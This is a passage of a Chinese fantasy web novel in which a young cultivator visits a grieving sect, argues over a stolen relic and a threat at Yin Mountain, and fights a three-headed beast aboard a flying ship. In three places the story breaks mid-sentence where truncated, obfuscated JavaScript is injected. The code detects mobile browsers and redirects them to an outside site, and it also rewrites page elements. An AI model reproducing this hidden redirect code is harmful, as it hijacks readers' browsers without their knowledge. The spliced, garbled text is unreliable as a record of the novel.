起先还小心爬过几尺,等新鲜感过了,又见四下无人,她拢起长袖,猛地发力,跃出细长弧线,跨过花蕊,屈身滑下,穿过透明的涟漪,落入一座小院。 四周白墙黛瓦,窗明几净,门庭崭新,不算显贵,唯有小院中心那一株也桃,绯花青枝,盛如华盖,仿佛已独自生长了很多年。 4. 云欢 夜深了,风卷起雨,打在瓦砾叶梢。 “沙沙——”一连串细碎的声音从远方传来。 离近了,才辨出是雨打在伞面的声音,卧在榻上的老妪支起身子,望向窗外。 有一人撑伞,踱步而来。 雨连成线,敲击伞面。竹柄倾斜,遮去那人面容,唯有影子被挂在檐角的灯笼里的烛火缩短又拉长,映在地上,模糊的一团。 雨停了,月色幽幽。 “咚咚。”那人敲过门,默然站在一旁,并不出声,好似成了一棵树。 “……请进。”老妪轻声道,仿佛知晓是谁。 乌云飘然而过,遮住一轮弦月。 吱呀一声,门开了,但在月出云层前又欣然合上,来人站在角落的阴影里,雌雄莫辨。 黑暗中,脚步声贴近竹榻,随后是沁凉的、雨一样的气息。 凉意悄然落在掌心。 来人握住老妪的手,澎湃元力涌入后者经脉,洗刷四肢百骸,仿佛无穷无尽。 老妪回握那只手,怜爱地一一抚过那人指腹上的茧,像是细数错过的那些年,“这些年……大人一定吃了很多苦吧。” 那人将老妪散乱的白发拨至耳后,注视她的面容,恍如隔世。那张脸曾素面朝天,也曾盛妆秾丽,但如今布满沧桑,不复当年风光。 “你老了。”那人平静道,“老得快要死了。”就算元力能够修补受损的经脉,也救不回将尽的寿数。 “够了,活够了。”老妪笑着摇头,忽而哽咽,“当年……咳——” 一阵重咳,似要把五脏六腑都吐个干净。老妪来不及掩袖,喷出大团嫣红,溅在那人衣上,仿佛红梅入雪,零落成泥。 那人耐心拭去她指缝间的血迹,扶她躺下。 “是我无用……”老妪颤抖地伸出手,不知是要寻求一个依靠,还是乞求谁的原谅,“没能……” “好了。”那人截住她的手,轻轻贴在脸侧,“你活下来了,那就足够了。” “大人,大人!我,我不后悔……”颗颗眼泪滚落,流进皱纹的沟壑。老妪反复呢喃着,呼吸逐渐急促。 那人坐在榻边,牵起老妪的手放入被褥,仔细掖好边角,一下又一下地轻拍盖被,耐心回应她的呼唤,像是安抚闹睡的孩童一般,直至她气息渐弱,一声低于一声,最终归于寂静。 那人沉默良久,哼起小谣。 大概是在节日或庆典里盛行的小谣,节奏轻快,旋律悠扬,但在这月光肆意流淌的深夜里,在窗外传来的簌簌风声中,是如此寂寥。 “少主,该出发了。” 一眨眼,梦中的雾散了。 真是莫名其妙的梦。阿也缓了会儿,待梦中景象随心口钝痛一同散去,回复石磊:“稍等片刻。” 起身整理衣装,收拾好房间,穿过小院的结界,景象与昨日全然不同。 昨夜盛放的花朵合拢了,萎靡地低垂着。舒展的长叶蜷缩起来,暗淡无光。枝桠间悬吊连串的白灯笼,白幡在枝头沉重地飘动。 藤梯旁,石磊正与一白衣少女低声交谈,身侧的华谏听见声响望来,眼神凝重。 “长老,发生什么事了?”阿也看向白衣少女,身形有些眼熟,“这位是……” 白衣少女转过头来,原来是昨日见过的。她褪下彩衣,换上丧服,眼眶通红,眼下亦是一片青黑,哽咽道,“师祖......昨夜病逝。” 雾又弥漫在眼前,阿也头痛欲裂,摁住额角,颔首道,“节哀。” 华谏看她一眼,颔首道:“节哀。” “在下云欢。”云欢躬身回礼,袖中一点金光闪过。 心头一动,阿也拱手道,“在下华烨,火华烨。” “事发突然,云漪师姐病倒,掌门抽不开身,因此由副掌门代劳,接见三位。”云欢吸了吸鼻子,“请随我来。” “此处是星月二宫。” 遒劲的主枝分出两根枝桠,像是迢迢大路一分为二,末端通往两座光华流转的宫殿,仿佛枝头结了两粒饱满充盈的果实。 “副掌门在星宫等候三位。” 星宫正如其名,两扇主门以青金石为漆,绘出绚烂夜空,再以白晶为朗星,点缀出一副三垣二十八宿图,华贵之气扑面而来。 不愧是能送出鎏金海扇贝珠的门派。阿也感叹。 “师姐,三位到了。”云欢恭敬行礼。 门应声而开。 她叫副掌门师姐?阿也瞧一眼云欢,迈进门去,一转头,猝不及防地与主座上的女子对上视线。 雪白的鹿皮长靴紧贴腿侧,收束在双层锦裙之下。半掌宽的玉带拢住青花绸缎,托起丰腴。领边一圈庄严的七彩宝相纹绣,不敌半分容色—— 一种几近刺目的艳丽,仿佛荆棘丛中的花朵,抑或藏在叶底的斑斓毒蛇。 虽五官如此,但眼神锐利难当,不容丝毫轻蔑。 阿也连忙低头。 “在下云绮,身任云间派副掌门。”云绮盈盈一笑,“三位远道而来,在下深感荣幸。欢儿,快快上茶。” 云欢依言奉上茶水,退至殿外等候。 “石长老来此,想必是有要事罢。”云绮揭开茶盖,不紧不慢地吹开热气。 “正是。此事本该由宗主亲自出面商洽,但有事缠身,故托两位少主前来拜访。”石磊拱手,一一介绍。 “这位是华谏。” 华谏略一点头,傲气不减。 “这位是华烨。” 阿也颔首,心下了然,原来走黎丘这一遭,是让他俩以华重楼之名露面,积累声望。 “两位少主真乃人中龙凤。”云绮赞赏一句,话锋一转,“掌门事务繁忙,已将执政之权移交于在下。长老大可放心,无庸讳言。” 石磊瞥了眼殿外的云欢。 “石长老但说无妨。”云绮饮了口茶,轻巧道,“欢儿乃家师闭门弟子,十分体己。” 难怪她称副掌门为师姐。阿也心想。 “恕在下唐突。当年阴山一战,师祖舍身救世,力斩蛟龙,四州才得以幸存,有了如今百姓安居乐业,修士与混元兽的分立平衡之势。” 云绮眼神一暗,搁下茶盏。 “此次前来,仍为阴山一事。”石磊一顿,“副掌门应当知晓,这三年间,阴山并不太平,时常爆发小规模的兽群混战。近日,更是有弟子在兽尸中发现未消化的元核碎片。” “元核乃元脉核心产物,绝不该出现在阴山。”石磊眼神一凛,“除非......” “长老莫不是要说元脉将重现世间?”云绮微微一笑,“但阴山早已破败多年了。” 元脉会引来兽群繁衍,所以此番历练……是为摧毁元脉?阿也串起思路,心道,若是如此,云绮的态度也太过平淡了。 石磊一怔,“那依副掌门之见,元核一事……” “在下不愿往坏处想。”云绮低头欣赏蔻丹,漫不经心道,“或许是那弟子看错罢了。” “你......”华谏被她轻描淡写的态度激怒。 石磊制止华谏,转向云绮,“此事重大,在下已亲自查验碎片,确切为真。曾蒙师祖之荫,故前来寻求合作,敢问副掌门能否做主?” “掌门既令我接待三位,此事自然由在下全权负责。长老为天下的芸芸众生而来,这份诚心令在下感动不已。”云绮别过脸,“但云间派已付出太多,实在经不起折腾了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239265|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“多少年,有多少年了?”云绮叹息,“我每日入睡都仿佛枕在尸山血海之中,梦里都是姐妹们的哭声。” 沉默半晌,石磊方道,“副掌门所言,也有道理。师祖之事,敬请节哀。在下与两位少主不便叨扰,先请告退。” “慢着——”主门轰然关闭。 黑暗笼罩大殿,被穹顶的夜明珠驱散。银辉飘摇,落在白玉砖上,溅起点点冷光。 “副掌门这是何意?”石磊沉声道,起身挡在二人身前。 “长老既已开口,那在下便直言不讳了。”云绮挥袖起身,目光灼灼,“昨夜,有人盗取家师遗物。” “副掌门这是在怀疑华宗?”华谏愤然出声。 拦下华谏,石磊跨步上前,抱拳道,面色含怒,“还请副掌门仔细说来!” “长老有所不知。自家师病重以来,本派已戒严数月,连弟子也不得轻易离开。至于小门小派以及来路不明的散修来访,一概谢绝。这几日来,唯有你三人入派,方生出变故。” 云绮缓和语气,“我信华宗风骨,但家师在天有灵,我若不查明此事,恐难以服众。还请三位留在此处休憩几日,决计不会亏待各位。” “既是师祖遗物,我等自然配合。”石磊肃正神色,“不知副掌门需要多久调查此事?” 阿也不禁感慨这云间派师祖究竟是何等人物,能让这笑面虎甘愿吃瘪。 “我已下令让弟子全体出动,搜寻遗物下落。”云绮面露难色,“但青兰占地辽阔,即便集全派之力,也得……不少时日。” “最多三日。”石磊一言否决,“按照宗主安排,十日后应抵达阴山,只早不晚,否则牵一发而动全身。” 云绮这是在套话?阿也刚看出门道,又被石磊的话吸引注意,不由蹙眉,十日?这么着急?难怪离测赋一日就催人出发。 “宗主谋划,自然缜密。”云绮冷声道,“但遗物事关重大,还望长老谅解。” 竟要强押他们?阿也惊讶,见石磊卡壳,开口解围道,“请教副掌门,这遗物是何样式?在下也想尽一份绵薄之力。” 云绮目光一闪,“一件私物罢了,上不得台面。” 阿也颔首:“原来如此。” 遗物被盗,早不说晚不说,偏偏在石磊寻求合作后挑明,甚至以此要挟他们三人,问起细节又说不出个所以然来,不是至关重要,就是凭空捏造。 元核一事也是如此,嘴上说不会参与,却是下套打探消息,摆明了另有目的。 阿也回忆昨夜以来的种种细节。 一边是“掌门近日操劳过度,早已歇下”,一边是“掌门有事传唤”、“戒严数月”和“来访一律谢绝”——掌门……究竟在忙什么? 阴山,恐怕还是与阴山有关。 真有意思。阿也来了兴致,此前她并不把阴山放在心上,现下才品出点味道,忍不住想要搅一搅这滩浑水。 石磊回过味来,“理解副掌门不易,但在下亦有难处。两位少主年纪尚小,修为有限,如何能从戒严的云间派中盗走师祖遗物?副掌门信我华宗风骨,但在下自知最为可疑。” 他负手身后,以不容拒绝的姿态道,“不如在下留在此处,全力配合副掌门调查。少主们有要事在身,耽误不得,还望贵派网开一面。” 云绮又端起茶盏,小口啜饮。一盏茶毕,面色终于松动,“也罢。欢儿,送两位少主去校场。” 主门应声而开,云欢踏着阳光走进殿中,朗声道:“副掌门。” 云绮一愣,诧道:“有话但说无妨。” “启禀副掌门,弟子云欢愿与两位少主一同前往阴山,探查元核一事。” 她深深颔首,而面容决绝。 5. 三头乌 “哗——” 成堆的元晶被倒入砂晶箱,扣锁环、贴封条的响动此起彼伏。 全是尖货,晶球纯白,无一丝杂质,一箱至少百金以上。阿也算了算,足有六箱,不由咂舌,云间派真是财大气粗,不愧是黎丘之主。 林场上清一色的女子,连杂役也是膀大腰圆的女工,人来人往,井然有序。不愧是女宗,阿也心道,一转头,对上华谏那张冷脸。 晦气。阿也移开眼,石磊不在,有你好果子吃的。她开始琢磨如何教训这愣头青。 “请教这元晶该放在飞舟何处?” 背后传来嘶哑的声音,如砾石磨刀,激起一身鸡皮疙瘩。阿也回头,却见到一张温婉的脸,柳眉杏眼,很是清丽。 云间派的人?阿也注意到她的领口束得过高,盘扣几乎卡着下颌,低头转头都极为不便。 “云澄师姐。”云欢颔首,一手抚上颈间,目光略过华谏,向阿也求助,“华姑娘,请问这元晶……” “有劳师姐,请随我来。”阿也笑着引路。 “多谢华姑娘。”云澄招呼杂役跟上。 “师姐今天怎么过来了?”云欢讪讪一笑。 “你说呢?”云澄眼一瞪,“还跟我装傻充愣?”见云欢要辩解,她又摆摆手,“行了,你长大了,是时候去外面闯一闯了。” 话虽温情,但从那破锣嗓子里挤出来,却似毒蛇吐信,嘶嘶作响。 “是!师姐!”云欢挺起胸膛,肃正神色,但维持了不到一息,又笑嘻嘻去揽她的臂弯。 “华姑娘莫怪。”云澄转向阿也,歉意地笑道,“我这嗓子,说话确实难听。” “师姐受过伤?”阿也盯着她的领口,高到遮住整个脖颈,像是在遮掩什么。 “姑娘好眼力。”云澄目露赞赏,“早些年受过伤,能发声已极为不易。” 伤在脖颈,又影响发声……割喉两个字蓦地跳进脑海。阿也眉尖一抖,没敢多问。 进了储藏间,云澄指挥杂役放好箱子,云欢再次开箱清点元晶重量,阿也帮忙扣好锁环,又贴上封条。三人忙得满头大汗,呵气如雾。 “师姐,怎么了?” 阿也停下手中动作,跟随云欢转头看去。 云澄屏退杂役,亲自合上舱门,又布下结界,方转过身,“我这次来,除却元晶一事,更为阴山。” 阿也的心砰砰跳动起来。 云澄顿了顿,解开三粒盘扣,拉开领口—— 一道三指宽的狰狞爪痕横贯整个脖颈,衬得纤细脖颈如一节脆藕,险些被拦腰折断。 “这是……”云欢瞪大眼睛,忍不住摸了下自己的脖子。 “时间有限,我们长话短说。”云澄神色凛然,“阴山千奇百怪,我们所知不过一二,但有一点,务必警惕。”她一字一顿,“小心血,无论是混元兽的,还是人的。” 新的讯息。阿也心想,听云欢追问:“为什么要小心人的?” “你如何判断它是人呢?”云澄眼眸幽深。她慢慢抚过颈上爪痕,带着咬牙切齿的恨意。 “还有,不要相信……”她突然收声。 三个倒数后,门被敲响了,另一头传来华谏冷冷的声音,“准备出发。” 云澄扣好盘扣,三步并作两步打开门,微微一笑,“多谢公子提醒。” 华谏冷脸依旧,扭头往主舱去了。 “轰隆——” 飞舟开始震颤,船尾喷出大量白气。甲板上,阿也与云欢同大家挥手告别,目送黎丘远去,逐渐化为一点,但华谏迟迟不出主舱,气氛变得微妙。 见云欢摸了下颈间,似是无措,阿也在心中暗骂华谏,面上却笑道:“云姑娘,我先带你参观飞舟。” “麻烦华姑娘了。”好似抓住救命稻草,云欢跟在她身后钻进通道。 起先她还有些局促,一刻钟之后已然放下戒心,好奇地在这里摸一摸,在那里敲一敲,爱不释手道,“这灯座上的花纹真好看,我从来没见过,是华宗特有的式样吗?” 青铜灯座的四面雕刻着不同的蔓藤生花图,藤卷如环,花瓣垂须,分别对应春夏秋冬。 “这是忍冬,华宗特有的纹饰,象征凌冬不凋,轮回永生。”阿也忍不住伸手抚过,冰冷锐利的触感令她想起测赋那日华重楼的目光。 “按照宗主安排,十日后应抵达阴山,只早不晚,否则牵一发而动全身。”石磊的话犹在耳畔。 阿也收手,试探道,“昨夜想必辛苦了。” 半晌,没有回音。她回头,见云欢眼眶通红,暗骂自己一句,颔首道:“抱歉,恕在下冒昧。” 云欢吸了吸鼻子,勉强笑道:“没事,姑娘也是一番好意。” 好意……阿也默然,本想试探云欢有没有关于阴山的线索,叫她这样一说,手指忍不住蜷缩起来,藏进袖中。 好在拐角就是房间,阿也当即道,“总之先歇会儿吧,只是条件简陋,要委屈姑娘了。” “不碍事的。”云欢连连道,“是我叨扰。”等到推开舱门,她一愣,迅速道,“吃得苦中苦,方为人上人。” 这人倒是有点意思。阿也心想,取出被褥,放在邻铺上,“我待会去同师兄商量商量,早些赶到地方,也少委屈些时日。” “华姑娘你真好。”云欢笑道,“那我先铺着,等你回来。” “不客气,唤我华烨便是。”阿也点点头,退出房间,走了没几步,一转角,又碰上华谏。 “去主舱,我有话跟你说。”他脸色铁青。 “咚!”门被重重摔上,榫钉发出不堪重负的声响。 “是云间派不义在先!我要禀明阿父,扣押云欢,换长老回来。”华谏沉声道,“阴山之行,若是长老不在,我们也不必去了。” 拿云欢当人质?我看你是嫌石磊命太长。阿也腹诽,待听到后面一句,怒火窜上来,“长老是为了让我们去阴山才留在云间派。若依你所言,岂不是让长老白费苦心?” 华谏脸色一白,“你知道什么安排?” 阿也盯着他,电光石火间,明白华谏和她一样,不知历练的具体安排,但他似乎更害怕只有自己被蒙在鼓里。 “到了阴山,自会有人接应。”阿也沉声道,气势比他只强不弱,“十日后必须到达阴山,只早不晚。” 见她神色笃定,华谏的气势渐低,显出青烟般落寞的神色,但只是一瞬间,他再度冷下脸,“那我与阿父飞讯,禀明情况。” 唬过去了。阿也暗自松了口气,面上仍强硬道,“相信宗主自有安排。” “什么安排?”华谏定定看着她,似乎想从她眼里探知答案。 对上他眼中的火光,阿也忽然意识到华谏有一双很漂亮的眼睛,瞳仁是纯粹的琥珀色,清澈干净……甚至过于干净了,像是祭坛上待宰的无辜羔羊。 “噼啪。”烛火在青铜灯座里跳动。 阿也回神,避开他的视线,“师兄若想知晓,不妨加快脚程,尽早到达阴山。” 华谏扭头就走。 “等等。”阿也叫住他,掩嘴轻咳,示弱道,“兄长,我想借一些有关常识的玉简。” 突然的服软招来华谏疑惑的目光,确定她不是找事后,他没好气地掏出几枚玉简,顺手抹去印记,丢到她怀里—— 这是送她的意思了。 “多谢兄长!”阿也不忘哄一哄他,“兄长最好了!” “都说了在外别叫我兄长!”华谏摔门而去。 货舱空荡荡的,除了一坐灯外,什么也没有。阿也点燃灯芯,光照亮了斜上方的天窗。她盘腿坐下,摸出玉简,注入元力。 叮咚一声,以玉简为中心,绿色光幕被投射在四面墙上。白字三两成组,悄然流过。 极境,阿也在心中默念。 “极境”两字跳出光幕,如鱼跃出河流,随后拆解成偏旁部首,拼接成两段简短的话。 果然,华谏手段颇多,连极境相关的情报都有。阿也感慨一句,定睛细看。 “庚辰年,丙戍月丙午日,寅时,陨星坠落,黑气破空,尘起连天,土犹然沸,声闻三百里。” 等等,阿也翻出计时玉简,上面赫然写着庚子年,乙酉月,辛巳日。 十日后,是庚子年的丙戍月辛卯日。 二十年。阿也记下相差的年份,再推算一下,此日虽是吉日,但寅时乃大凶。提醒自己注意这个时刻,她接着往下看。 “丁酉年庚戍月乙亥日……” 灯芯忽地熄灭了,窗外夜色浓稠,不见星月。 “咚、咚……”阿也听见自己的心跳声,沉重如擂鼓。 “蹲下!”吼声自识海里爆发。阿也当即听从,就地翻滚,两腿抵在两面墙的夹缝之间,放低重心,双手护头。 “轰——”一阵强有力的撞击,接着是天旋地转的摇晃。坐灯摔倒,泼出一地灯油,随着船身倾角来回撞击墙壁,一下较一下更重,撞得扭曲变形。 还好行动快。阿也摸了摸完好无损的脑壳,胆战心惊。 不知过了多久,船身停止晃动,阿也静待片刻,见再无变化,小心翼翼地绕过地面灯油,向舱门挪动。 红光从上方照进来。阿也一顿,慢慢抬头,对上舷窗外那只巨型眼球。 灯笼大小的眼球铺满猩红底色,青绿色的血管汨汨跳动,倒竖的两只瞳孔重叠,冷酷地扫视货舱内的一切。 阿也迅速垂眸,看大小,是成体期的混元兽。若石磊还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239266|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在,尚可一战,但现下他们三人…… 走为上计。 忽然,飞舟猛烈一晃。待到平稳,天窗外的眼球离去,露出弦月尖尖一角,又被漆黑的羽翼遮蔽。 “快去开增幅阵法!”华谏的声音在耳边响起,“快!” “那云……”不等问完,华谏当即切断传音,末了突然急促的呼吸让阿也顿感不妙,但她还未与云欢建立链接,无法传音。 先去储藏间! 希望云欢照顾好自己,千万别给云绮留下什么把柄。阿也咬咬牙,爬起来,扶着墙壁跌跌撞撞跑向储藏间,撞开舱门。 砂晶箱七零八落地躺倒,元晶洒了一地。 阿也拢起元晶,挥进刻线。白球争先恐后地滚向阵法中央的新月印记,撞得叮咚作响。 “哒哒哒——”急促的脚步声在靠近。 来不及回头,阿也被尖锐的鸣叫掀翻。 叫声仿佛触手伸进食道,在胃里搅出黏腻声响,催人欲吐。恶心之中,一点异样逐渐扩散—— 好像有什么要挣脱这具皮囊,钻出来。 阿也抠住刻线,压抑这股莫名的冲动。指甲渐渐泛白,冷汗打湿鬓发,流过下颌,一颗颗拍向地面,砸出水痕。 鸣叫一波高过一波,阿也死死咬住嘴唇,尝到浓郁的铁锈味,她快要压制不住了。 别......出来......不要! 声响忽地远去了,来人的轮廓在短暂的虚无后渐渐清晰。 云欢一脸担忧,指尖绿光跳动,抚平她的惊惧,又比出口型,“没事了,不要出声。” 一阵艰难的喘息后,阿也攒够力气,握住她的手,建立链接。 “三头乌凭声辨位,全身剧毒。”云欢扶起她,躲到角落,指向舷窗,传音道,“看。” 阿也看去,见到了典籍上不曾记载的、完整的三头乌—— 三头蛇颈,六个口器,长舌分叉犹如蛇信,背生十翼,像是潜伏深海的巨兽,随意一挥,就能将这艘小小的飞舟掀翻。 然而一道绿光逆势而行,快如闪电。 它凌空翻身,竖起背腹的黑刺,挡下这一击。蛇颈将将一扭,却露出侧后方密集的伤口,皮开肉绽,正流出碧绿色的血。 华谏这小子还算有点本事。阿也调整吐息。 “结界快不行了!”云欢倒抽一口冷气。 舷窗外的结界频繁荡起泛白的波纹,表示已到了承受的极限。 咽下喉头腥甜,阿也用指尖沾血,寥寥几笔画出路线,点明方位,“你穿过这里去主舱帮华谏,我去开阵。” “你……还好吗?”云欢犹豫道,“开阵要消耗不少元力。” 对上她眼中脸色苍白的自己,阿也点点头,继续加码元晶,“没问题。你快去帮华谏。”她不能在华谏面前动手,也不能让云欢知晓阵法密令,这是最好的安排。 “好,那你小心。”云欢抹过指上的乌金尾戒。 寒光乍闪,一条七尺软鞭凭空显形。十二节精铁衔接流畅,龙蛇之纹栩栩如生。云欢一把抓住软鞭,往主舱赶去。 印记终于被填满,阿也调动全身元力,悉数注入其中,“游界逆行!” 元晶在印记里相互挤兑,毫无反应。 密令失效了?阿也看着掌心被晶球割开的伤口,还是说,她的元力不足以开启阵法? “游界逆行……游界逆行,游界逆行!” 阿也一连叫了几声,但阵法没有任何回应,新月印记里的元力逐渐稀薄,消失在空中。 “咔!”清脆的一声响,结界在她眼前破碎。 浓郁的腥气灌入口鼻,鸣叫声来回激荡,风声尖锐,捎来远处的咆哮和怒吼,但阿也已分不清是谁。 异样感卷土重来,吞噬所有神智。 天与地,上下皆白。她站在荒原的中心,目视飞雪打旋飘落,给大地披上纯白的寿衣。 她在冰雪上漫无目的地行走,不知从哪来,也不知要到何处去。无意间低下头,发现自己正寻着一串若隐若现的脚印前行,于是视线追去,投进远方的风雪,窥见一人身形。 那是谁? 一眨眼,风雪迫近眼前,藏匿其中的那人伸出手,竟是要来擒她。 “滚开!” 视野骤然回归。 血燃烧起来了。成百上千的晶球破碎,元气冲天而起,随之液化,在刻线中流淌。新月印记爆发出刺目金光,一轮满月徐徐升起。 飞舟骤然加速,破风声震耳欲聋。 来不及反应,阿也摔了个跟头,好不容易爬起来,捂住耳朵,贴着舷窗往外看。 结界开始重生,元气飘荡,犹如白雾,而雾中的三头乌缩颈拢翼,眼神忌惮。 6. 凌栾 “叫你开个阵法能弄成这样?”嘲讽声从门外响起,华谏倚上木门,一脸不屑。 “你……”阿也正要辩驳,一动,牵连掌心,又撕开一道小口,血渗出来,浮起灰白药粉。 “别动别动。”云欢赶忙制止,瞪华谏一眼,“要不是华烨担心你,非让我去帮你,怎么会弄成这个样子!” 华谏脸色和缓些许,又挑剔道,“这药的颜色也太寡淡了……” “忍一忍,会有点痛。”云欢放轻手脚,转头没好气道,“这药粉可是云弈师姐亲手调配,不会留疤的那种,外面想买都买不到!” 华谏一愣,“云弈掌门?” 云欢轻哼一声,没理他,开始包扎伤口。 谁还没点身份了。阿也忍笑。 华谏这才意识到先前想拿云欢做人质的想法有多么幼稚,脸色由红转绿,又转白。 放下纱布,云欢转头拿起药瓶,“也不知腿上有没有伤……” “好了。”华谏打断她,“你们回房检查,别在这妨碍我休息。” “你!”云欢倏地起身,气得脸色涨红,被阿也及时拉住。 “师兄所言甚是,男女有别,自当避嫌。”阿也勉强起身,晃了下,被云欢扶住。她心想,迟早给他两拳,面上却乖巧道:“师兄早日休息,在下先行告退。” 华谏眉头一拧,好像又生气了。 一瘸一拐地回到休憩室,刚坐上榻,云欢心急火燎地卷起她的衣摆,开始检查。她圈住脚踝,轻轻揉捏两下,“这里痛吗?” “不痛。” “这里呢?”云欢又压了压髌骨。 “不痛。”阿也心道,好熟练的手法。 “那这里……” 见云欢的手要再往膝上去,怕被人摸到那些东西,阿也连忙压住她的手,摇头道,“痒。” “没什么大问题,就是磕了碰了。”云欢涂上药油,尽心尽力地揉开小腿上的淤青,“揉开了就好了。” 云欢如此专注,令阿也想起在储藏间建立链接时她关切的神情,以及自己的防备之心,不由抿唇。 “怎么了?”云欢停下动作,关切道,“弄痛了吗?” “不痛,谢谢云姑娘。”阿也真诚道。 “别叫我姑娘啦,叫我云欢就好,我们没那么讲究。”云欢笑道,“你多大啦?看起来比我还要小一些呢。” 她生得俏丽,一双形状姣好的桃花眼里仿佛藏有碎星,一眨一闪,亮晶晶的。 阿也恍惚一下,低声报出华烨的年龄,“十六。” “那我比你大一些,我上个月才满十七。”云欢挤眉弄眼,“要不要叫我一声姐姐?听云漪师姐说,你叫姐姐可乖了!” “我……”阿也实在做不出这种事,干脆闭上眼,“云欢。” “诶,小烨!”云欢大笑起来。 又一番折腾,趁着夜色还昏暗,两人上榻,抵足而眠。 风声被结界隔绝,轻如呼吸。等到身边人入睡,阿也睁开眼,慢慢从一片黑中辨出斑驳颜色,心里想的却是刚才那幕。那时她掌心的血燃烧起来了,诞出虚幻的火焰—— 是这火焰炼化了元晶? 元力静静流淌,修复受损的经脉,思绪如无根浮萍,随波荡漾。 这身体……似乎正在发生某种变化。 “小烨……”声音从另一侧传来,是云欢。 原来没睡啊。阿也散去元力,轻声应道,“我在。” “我,我有些睡不着。” 听出她话里的不安,阿也翻身面对她,安抚道,“睡不着很正常,我也是。” “你也睡不着?”云欢的语调骤然一轻,“我长这么大,还是第一次见到活的三头乌呢。” “但你很了解它。”阿也笑道,“若你不在,我和华谏难逃其手。”其实主要还是对华谏来说比较棘手。 “谬赞了,都是师姐们教的好。”云欢一顿,小声道,“其实……这还是我第一次出门历练。” “第一次历练?”阿也不解。寻常宗门都是尽早将弟子派出历练以磨练心志,自己已然算做例外,没想到云欢也是。 约有一炷香时间,云欢方道:“这些年,师祖的身体一直不好。” “她时常坐在树下发呆,自言自语,说的话大家都听不懂,到后来开始忘事,最后连师姐们也认不得了。” 生老病死,天地轮回。阿也漫无边际地想,等华重楼老了,大概也是这样。 “但师祖还记得我,记得我叫阿欢。”云欢哽咽,“师姐们想让我多陪陪师祖,我心甘情愿,一辈子不出去也没关系,没成想……” “节哀。”阿也低声道。 黑暗里传来抽泣声,又渐渐平息。 “见笑了。”云欢吸了吸鼻子,“其实第一次出门,我都不知道阴山在哪里。” 阿也心思一动,“既是第一次历练,又为何要去阴山?” 半响,她听见云欢坚定的回答:“倘若师祖在世,一定会亲自前去阴山调查仔细的。” 筑起的壁垒骤然坍塌,露出柔软内里。 阿也支起身子问她,“那你可了解阴山?” “我,我其实一点都不了解阴山。”云欢嗫嚅道,“当时就是脑子一热……现在想来,我一无所知,实在是拖累你们。要不然我还是……” “我知道一点。”阿也打断她,从席子瑞的话中拣了些简要讲述,“有陨星……” 云欢听得认真,时不时补充一些从书上看来的或是从周边听说的细节,都是些很琐碎的、价值不高的事情。 看样子没有新的线索,阿也想,但这感觉并不坏。她慢慢地说,听华烨的声音在房内响起,耐心解答云欢接连蹦出来的问题。 深埋在土壤里的种子,在这宁静夜色里,终于钻出外壳,开始发芽。 “按现在的脚程,三日后到达阴山,长老已安排妥当,到时自会有人接应。” “师兄辛苦。”回过华谏传信,阿也起身,伸了个懒腰,难得一夜无梦。 “哼……敢打我……” 身侧传来嘤咛声。阿也看去,云欢双目紧闭,却面色含怒,酝酿片刻后,一脚踢出,踹翻被褥,又翻身蜷成一团,皱着鼻子安然睡去。 无奈地捡回被角替她盖上,而窗外天光正好。 青州多是平原,偶尔被丘陵和河流分隔。傍晚时分,阿也看见草地上大片的羊群,像一团团软绵绵的云。 等到天色再度由黑转白时,飞舟驰入深蓝之中。 “这是无妄海。面积比四……五州加起来还要大!”云欢大幅度比划着,本以为是夸张,直到阿也走上甲板,眺望那片海。 海水沐浴在阳光之中,波光粼粼,色泽灿烂,仿佛融化的黄金。等到了夜晚,蜕变为沉沉漆黑,如一池稠墨。 应这等阴森景色,云欢鬼鬼祟祟地开始讲述有关无妄海的传说。 “曾经有人在海边捡到奇怪的碎片,以为是什么奇珍异宝,送去拍卖行鉴定……你猜是什么?”云欢压低声音,“是尸骸。” 阿也诧异道:“尸骸?” 云欢摊手,“我知道的不多。你要是感兴趣,可以去承州看看。那里有很多拍卖行,说不定还有存货。” 承水环烟,拍卖行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239267|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,承州。阿也算了算日子,还来得及。 “据传海底有大能留下的宝藏,但从来没有人下去过。海里的混元兽比陆地上的更可怕……”云欢瞧了眼天色,“小烨,该睡觉啦。你身上的伤还没好,要多休息。” 于是阿也枕着浪涛声入眠,在陌生的梦里见到面容模糊的女人。她抱起襁褓摇摇晃晃,对着里头哭闹的婴孩哼起小谣,哄道:“小宝乖,快快睡觉。” 一连听了两日奇谈异说,无垠深蓝之中,终于冒出一角尖锐的白。 “穆州,到了。” 越过犬牙般的礁岩,冰原在眼前铺开。越靠近中心,地貌越是高低不平,有如断崖般屹立,有如地洞般深陷。风卷起冰屑,在空中打旋,刀子一样刮脸。 一望无际的幽蓝色调,因此校场旁那一点红格外显眼。 